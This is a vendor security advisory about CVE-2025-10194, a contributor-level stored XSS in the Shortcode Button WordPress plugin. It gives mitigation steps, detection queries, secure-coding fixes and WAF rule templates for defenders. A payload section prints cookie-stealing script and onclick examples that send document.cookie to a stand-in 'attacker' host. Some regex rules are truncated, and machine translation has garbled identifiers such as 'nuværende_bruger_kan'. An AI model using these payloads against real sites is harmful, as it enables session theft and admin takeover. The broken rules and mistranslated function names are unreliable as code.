Plugin-navn	WordPress Shortcode Button plugin
Type of Vulnerability	Lagret XSS
CVE Number	CVE-2025-10194
Hastighed	Lav
CVE Publish Date	2025-10-15
Source URL	CVE-2025-10194

Shortcode Button (<= 1.1.9) — Authenticated Contributor Stored XSS (CVE-2025-10194): What WordPress Site Owners Must Do

Dato: 2025-10-15
Forfatter: WP-Firewall Security Team

Oversigt: An authenticated stored cross-site scripting (XSS) vulnerability affecting the Shortcode Button plugin (versions <= 1.1.9, tracked as CVE-2025-10194) allows a low-privileged user (Contributor) to inject JavaScript that is stored and executed when other users view content. This post explains the technical root cause, real-world impact, step-by-step mitigation for site owners, developer fixes, detection techniques, and how WP-Firewall can protect your sites — including how to get started with our free plan.

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TL;DR

• Vulnerability: Stored Cross-Site Scripting (XSS) in Shortcode Button <= 1.1.9.
• CVE: CVE-2025-10194.
• Required privilege: Contributor (authenticated user with ability to add or edit posts).
• Risk: Arbitrary JavaScript execution in the context of site visitors or administrators depending on where the plugin renders content; can lead to session theft, content defacement, redirect to malware, or admin takeover.
• Official fix: Not available at time of disclosure.
• Immediate actions: Remove/disable plugin if you don’t need it; restrict contributor capabilities; audit and sanitize content; deploy virtual patching (WAF rule) — we include recommended rules and detection patterns below.
• Long-term: Patch plugin when an official update is released or apply secure coding fixes in plugin code.

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Why this matters (practical explanation)

Most WordPress site owners trust that only high-privilege accounts (Administrators) can insert dangerous markup that executes code. But shortcodes introduce a special case: plugins parse shortcode attributes and render HTML in post content and sometimes in the admin UI. If a plugin fails to sanitize or escape shortcode attributes when saving or rendering, a low-privileged authenticated user (a Contributor) can embed JavaScript that ends up stored in the database and executes later when anyone views that page — including Editors and Administrators. That’s a stored XSS.

An attacker with a Contributor account can:

• Insert a malicious shortcode into a post or page they control that stores JavaScript in the database.
• Wait for an Editor or Administrator to view the post (e.g., preview or edit), causing execution in their browser and enabling actions that require those users’ session/auth credentials.
• Exfiltrate cookies, perform actions on behalf of the victim (CSRF via JavaScript), create additional admin accounts, or inject persistent backdoors.

Because the plugin is responsible for rendering the button, the vulnerability may trigger on both front-end and back-end displays, increasing the attack surface.

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Technical root cause (high level)

Although we won’t publish the plugin’s internal code here, the typical root cause pattern for stored XSS in shortcode plugins is:

1. The plugin accepts user-controlled attributes (e.g., label, url, title, class).
2. It does not sanitize input when saving, or does not escape output when rendering.
3. The attribute is stored (in post content, postmeta, or an options table) and later printed without proper escaping (esc_html, esc_attr, esc_url) or with insufficient filtering like strip_tags without whitelisting.
4. The plugin trusts contributor-provided content or relies on WordPress internals that do not sanitize shortcode attributes automatically.
5. When the stored data is rendered (front-end, editor preview, or admin list view), the injected JavaScript executes.

Classic examples include script tags or event handler attributes (onmouseover=, onclick=), javascript: URLs in href attributes, or HTML entities that are incorrectly decoded before rendering.

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Which sites are affected?

• Sites with the Shortcode Button plugin installed and active at version 1.1.9 or earlier.
• Sites that allow users to register or that assign the Contributor role to untrusted people.
• Sites where contributors can add or edit posts/pages or other content that might include shortcodes.

If you are unsure whether this plugin is installed, check your WordPress admin under Plugins → Installed Plugins, or search your filesystem for folders named like the plugin slug.

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Immediate mitigation checklist (site owner / admin)

If you manage a WordPress site that uses Shortcode Button <=1.1.9, follow this prioritized checklist immediately:

1. Put the site into maintenance mode for admin work (optional but recommended).
2. Deactivate the Shortcode Button plugin.
   • If you rely on the plugin’s functionality and cannot immediately remove it, proceed to the WAF virtual patching steps (below) and restrict contributor actions until a fix is available.
3. Audit contributor-created content:
   • Search posts and pages for the plugin shortcode(s) and inspect attributes for suspicious payloads such as <script>, ved mouseover=, javascript:, eval(, dokument.cookie, or encoded equivalents.
   • Example search strings to run in the database (use wp-cli or phpMyAdmin, and always back up before modifying DB):
     • SELECT * FROM wp_posts WHERE post_content LIKE ‘%[shortcode%button%’;
     • SELECT * FROM wp_postmeta WHERE meta_value LIKE ‘%shortcode_button%’;
4. Remove or sanitize any suspicious shortcodes or attributes. If unsure, remove the shortcode insertion completely from the post/page.
5. Review and limit Contributor privileges:
   • Temporarily downgrade or remove Contributor accounts you don’t trust.
   • Change site registration settings so new users aren’t auto-assigned Contributor.
6. Scan the site:
   • Run a full filesystem and database malware scan. Look for additional instances of injected scripts in post content, options, or theme/plugin files.
7. Rotate credentials:
   • Force password resets for admin/editor accounts if you suspect any abuse.
   • Rotate API credentials (REST API keys, application passwords).
8. Prepare for recovery:
   • Ensure you have a clean backup from before the malicious content was added.
   • If the site was compromised, restore from a known-good backup and investigate root cause.
9. Monitor site traffic and logs for suspicious activity (unexpected POST requests, admin-area page views from contributors).
10. Apply virtual patching with your WAF (details and example rules below).

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Detection: how to find stored XSS payloads left by contributors

Stored XSS payloads can be subtle. Use a combination of automated scans and manual inspection.

• Search in the posts table (wp_posts.post_content) for the plugin shortcode name and any HTML tags:

  SELECT ID, post_title FROM wp_posts WHERE post_content REGEXP '\\[shortcode(_|-)button|\\[shortcodebutton';

• Search for script tags or event handlers anywhere in post content and meta:

  SELECT ID FROM wp_posts WHERE post_content REGEXP '<script|onmouseover=|onmouseover|onclick=|javascript:';

• Look for base64, encoded entities, or hex-coded payloads — attackers often obfuscate:

  SELECT * FROM wp_posts WHERE post_content LIKE '%&#x%';

• Check post revisions and attachments — malicious content can be stored in revisions or meta fields.
• If you have access logs, look for new contributor IPs submitting POSTs to /wp-admin/post.php or admin-ajax.php.
• Use your malware scanner to flag suspicious JavaScript patterns.

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How to remove malicious stored payloads safely

1. Export the suspicious posts to a file before editing.
2. Replace or remove the offending shortcode attributes:
   • If you are certain the entire shortcode is malicious, remove the shortcode (strip it from the post content).
   • If the shortcode is needed, sanitize attributes by keeping only expected values (plain text label, safe URL, limited CSS classes).
3. If many posts are affected, write a safe wp-cli script that:
   • Loads each post,
   • Parses shortcodes with the WordPress shortcode API,
   • Validates and sanitizes attributes with wp_kses, esc_url_raw, sanitize_text_field,
   • Updates posts only once sanitized.
4. After cleanup, re-scan and monitor.

Important: Always work on a backup or staging copy of the database when performing bulk updates.

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Developer guidance — how the plugin should be fixed (for plugin authors)

If you are a plugin developer or responsible for maintaining Shortcode Button, these corrective actions are the minimum required:

1. Sanitize input immediately:
   • At the point of saving user-supplied data, validate and sanitize attributes with appropriate functions:
     • For textual attributes: sanitize_text_field()
     • For HTML safe fragments: wp_kses() with strict allowed tags/attributes
     • For CSS classes: whitelist allowed class names
     • For URLs: esc_url_raw()
2. Escape output:
   • When rendering HTML, always escape data according to context:
     • Attribute values: esc_attr()
     • Element content: esc_html()
     • URLs in href/src: esc_url()
3. Use proper capability checks:
   • Ensure admin actions or content-modifying AJAX endpoints verify nuværende_bruger_kan() correctly and verify_nonced fields.
4. Avoid calling do_shortcode() on raw user input without sanitization.
5. Respect WordPress role restrictions:
   • Do not grant unfiltered_html or similar capabilities to low-privileged roles by default.
6. Add server-side filtering against javascript: and inline event handlers if attributes expect URLs or plain text.
7. Add unit tests for edge cases: ensure that attributes containing <script> or event handlers are always neutralized.
8. Release a security patch promptly and include a changelog referencing the addressal of CVE-2025-10194.

Suggested secure output pattern (example):

// Parse attributes
$atts = shortcode_atts( array(
  'label' => '',
  'url'   => '',
  'class' => '',
), $atts, 'shortcode_button' );

// Sanitize
$label = sanitize_text_field( $atts['label'] );
$url   = esc_url_raw( $atts['url'] );
$class = preg_replace( '/[^a-z0-9_\- ]/i', '', $atts['class'] ); // whitelist chars

// Render safely
printf(
  '<a class="%s" href="/da/%s/">%s</a>',
  esc_attr( $class ),
  esc_url( $url ),
  esc_html( $label )
);

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Virtual patching: WAF rules you can apply right now

When an official patch is not available immediately, virtual patching via a web application firewall (WAF) can protect sites by blocking exploit attempts.

Below are example detection strategies and sample rules you can implement in your firewall or with WP-Firewall. These are intended as templates and should be tuned to avoid false positives.

Important: Always test in staging first.

1. Block POSTs that create or edit posts and include the targeted shortcode with suspicious payloads:
   • Generic regex to detect script tags inside shortcode attributes:
     • Pattern: (?i)\[shortcode[-_]?button[^\]]*(?:<script\b|on\w+\s*=|javascript:)
     • Action: Block (or challenge with CAPTCHA), log details, and alert administrators.
2. Block requests where post_content contains event handlers or script tags:
   • Pattern: (?i)(<script\b|on\w+\s*=|javascript:|document\.cookie|window\.location)
   • Apply to: POST requests to /wp-admin/post.php, /wp-admin/post-new.php, admin-ajax.php when action is insert or save post.
3. Example ModSecurity-style pseudo-rule (conceptual):

   SecRule REQUEST_METHOD "POST" "chain,phase:2,block,id:100001,msg:'Block stored XSS attempt in Shortcode Button',severity:2"
   SecRule REQUEST_URI "@rx /wp-admin/(post\.php|post-new\.php)$" "chain"
   SecRule ARGS_POST "@rx (?i)\[shortcode[-_]?button[^\]]*(

4. Target shortcodes specifically in the request body:
   • If WP-Firewall inspects request body, add a rule that scans for the shortcode and denies when its attributes contain script-like content.
5. Response protection (HTML output filtering):
   • If possible, apply an outgoing transformation that neutralizes inline event handlers and script tags when rendering post content in admin pages. (Be careful: modify outgoing content only if you fully control transformation correctness to avoid breaking site functionality.)
6. Rate-limit and challenge contributor account actions:
   • Require a CAPTCHA or two-factor check for new contributor accounts to prevent automated or mass exploitation.
7. Notify / alert:
   • Configure the WAF to notify site administrators when a request is blocked matching the XSS rule, including the triggering IP, user-agent, and request URI.

WP-Firewall customers receive ready-made rules tailored to this vulnerability and automatic protection updates when a new vulnerability affects their sites. The rule examples above are provided to assist administrators running other WAFs or self-maintained protections.

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Forensic checklist if you suspect exploitation

1. Preserve evidence:
   • Export logs (webserver, application) and database rows with malicious payloads.
   • Make filesystem snapshots.
2. Identify the initial attacker account(s):
   • Look for contributor accounts created recently or accounts that performed post edits.
3. Check for secondary indicators:
   • New admin users, modified plugin/theme files, unexpected scheduled tasks (wp_cron), unknown uploads in wp-content/uploads, and modified core files.
4. Rotate secrets:
   • Reset passwords for all admin/editor accounts and rotate API keys and tokens.
5. Scan the entire site for backdoors:
   • Check for PHP files in uploads, base64 encoded files, rogue cron jobs.
6. Clean and restore:
   • If compromise is minimal and confined to post content, clean posts and rotate credentials.
   • If core or plugin files changed, restore from a clean backup and reapply trusted plugin versions.
7. Contact your host if you suspect persistence at server level (rootkits, ssh keys).
8. Report to relevant parties (if required): partners, clients, or regulatory contacts.

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How to detect attempts before they succeed (prevention and monitoring)

• Limit who can upload and who can add shortcodes: Keep the Contributor role tightly controlled.
• Monitor POST requests to admin endpoints: Use logging/alerts for POSTs to post.php containing shortcodes or script-like content.
• Set up content change notifications: Get alerts when posts change or when revisions are created.
• Run periodic automated scans that search for shortcodes in post content combined with script markers.
• Enforce strong authentication for high-privilege accounts (2FA, SSO).

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Why a Contributor-level XSS is particularly risky

Many site owners assume that contributors cannot cause major harm. While Contributors cannot publish by default, editors and administrators routinely view contributor content (previews, edit screens, review queues). An attacker can exploit this human workflow:

• A Contributor inserts a short link or button into a draft post.
• An Editor opens the post preview to review — the stored payload executes in the Editor’s browser.
• The payload can perform actions in the Editor’s context — e.g., create admin accounts via authenticated requests, change plugin settings, or exfiltrate session cookies.

Because the payload is stored, it persists indefinitely and can execute whenever an admin or visitor loads the compromised content.

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Practical examples of dangerous payloads you might find

• Inline script tag:

  <script>fetch('https://attacker/t/'+document.cookie)</script>

• Event handler in attributes:

  [shortcode_button label="Click" url="#" onclick="document.location='https://attacker/?c='+document.cookie"]

• javascript: URL in href:

  [shortcode_button label="Go" url="javascript:"]

• Encoded/obfuscated JavaScript:

  Using entity encoding like <script> or base64 decode tricks.

When you see any of these patterns in post content or shortcode attributes, treat them as malicious until proven otherwise.

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Recommended content scanning/cleanup scripts (wp-cli approach)

Use wp-cli if you’re comfortable — it’s faster and safer on large sites.

Example conceptual steps:

1. Find posts containing the shortcode:

   wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%[shortcode_button%';"

2. Export affected posts:

   wp post get <ID> --field=post_content > /tmp/post-<ID>.txt

3. Manually inspect and then sanitize or update using a PHP sanitization script that uses WordPress functions to parse and clean shortcodes.

Note: Don’t run destructive commands without backups.

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Communication guidance for site operators and clients

• Inform clients about the risk and actions you are taking.
• Provide an estimated timeline for mitigation.
• For transparency, explain that the plugin version is vulnerable and an official patch isn’t yet available (if that is the case).
• Offer options: immediate plugin removal, WAF virtual patching plus cleanup, or migration to an alternative safe solution.

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WP-Firewall's role: protecting you while you patch

As a WordPress security provider, we recommend a layered approach:

1. Prevent — limit permissions and harden the admin area.
2. Detect — continuous scanning of posts, filesystem, and admin activity.
3. Protect — virtual patching via WAF rules that block requests attempting to exploit the known shortcode XSS patterns.
4. Respond — remove stored malicious payloads, clean infected files, rotate credentials, monitor for re-injection.

If you’re using WP-Firewall, we provide prebuilt virtual patch rules for exploit patterns similar to CVE-2025-10194 and can deploy them quickly across your sites. Virtual patching buys you time when an official plugin update is not yet available.

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Example WAF rule templates for implementers (conceptual)

Below are textual templates — adapt them to your WAF’s syntax.

• Block POSTs to admin post endpoints containing shortcode with script patterns:
  • Condition:
    • REQUEST_METHOD = POST
    • REQUEST_URI matches /wp-admin/(post.php|post-new.php)
    • REQUEST_BODY contains regex: (?i)\[shortcode[-_]?button[^\]]*(
  • Action:
    • Block or challenge + log + email alert to admin.
• Block any request body that contains encoded script tags combined with shortcode:
  • Condition:
    • REQUEST_BODY contains '<script' OR 'base64_decode(' followed by 'document.cookie' AND contains '[shortcode_button'
  • Action:
    • Block and log.

Remember: tune for false positives (e.g., legitimate content containing the word "script" in a code sample) — better to challenge (CAPTCHA) than outright block in high-risk contexts.

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Long-term mitigations and hardening best practices

• Reduce the number of users with write access.
• Use content moderation workflows to review contributor content before editors open it.
• Enforce two-factor authentication for all editors and admins.
• Regularly scan for vulnerable plugins and apply updates quickly.
• Have an incident response plan and backup strategy.
• Limit REST API and XML-RPC access where possible.
• Monitor plugin update channels and vendor advisories for patched releases.

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Example policy: Content moderation workflow

1. Contributors can create draft posts only.
2. Editor role receives email notification of new draft.
3. Editor reviews in a sandboxed preview (preferably with a non-authenticated preview or restricted session).
4. If content includes shortcodes from third-party plugins, the Editor inspects attributes before approving.
5. If suspicious, the content is returned to Contributor and tagged for security review.

This approach minimizes the chance that an Editor or Administrator will execute uninspected content.

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Ofte stillede spørgsmål

Q: If contributors can’t publish, why is this dangerous?
A: Because Editors and Administrators routinely view and preview drafts. Stored XSS executes whenever the content is rendered in a browser — not only on published pages.

Q: Can I fix this by revoking contributor privileges?
A: Revoking is a quick stopgap but doesn't remove stored payloads already in the database. Combine privilege restriction with content cleanup and WAF protections.

Q: Will disabling shortcodes globally break my site?
A: Disabling or removing the plugin may remove buttons/pages that rely on it. Always backup and test on staging before wide changes. If the plugin is essential, virtual patching + content sanitization is the safest path until an official patch is released.

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Get Immediate Protection with WP-Firewall — Free Plan

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Final recommendations (what to do now — concise checklist)

1. Identify if the Shortcode Button plugin is installed and its version.
2. Deactivate the plugin if you don’t need it; otherwise, apply WAF rules immediately.
3. Audit posts for shortcodes and remove or sanitize suspicious attributes.
4. Limit Contributor privileges and verify all user accounts.
5. Scan site for signs of compromise and take forensic steps if necessary.
6. Enforce two-factor authentication and strong passwords for Editors/Admins.
7. Use a trusted WAF or security service to deploy virtual patches until an official update is released.

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If you want help implementing WAF rules, scanning content for stored payloads, or executing a clean remediation plan, the WP-Firewall team can assist. We can provide tailored virtual patching and content-cleanup guidance to get your sites back to a safe state quickly.